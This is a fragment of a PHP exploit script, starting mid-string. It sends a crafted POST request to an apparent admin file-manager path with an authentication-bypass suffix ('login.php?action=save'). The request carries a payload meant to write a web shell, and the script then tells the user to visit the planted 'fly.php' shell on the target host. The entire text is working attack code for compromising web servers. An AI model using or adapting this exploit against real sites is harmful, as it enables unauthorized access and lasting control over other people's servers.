"; $message="POST ".$path.$admin_path."file_manager.php/login.php?action=save HTTP/1.1\r\n"; $message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $message.="Accept-Language: zh-cn\r\n"; $message.="Content-Type: application/x-www-form-urlencoded\r\n"; $message.="Accept-Encoding: gzip, deflate\r\n"; $message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $message.="Host: $host\r\n"; $message.="Content-Length: ".strlen($shellcode)."\r\n"; $message.="Connection: Close\r\n\r\n"; $message.=$shellcode; $fd = fsockopen($host,'80'); if(!$fd) { echo '[~]No response from'.$host; die; } fputs($fd,$message); echo ("[+]Go to see U webshell : $host/fly.php"); ?>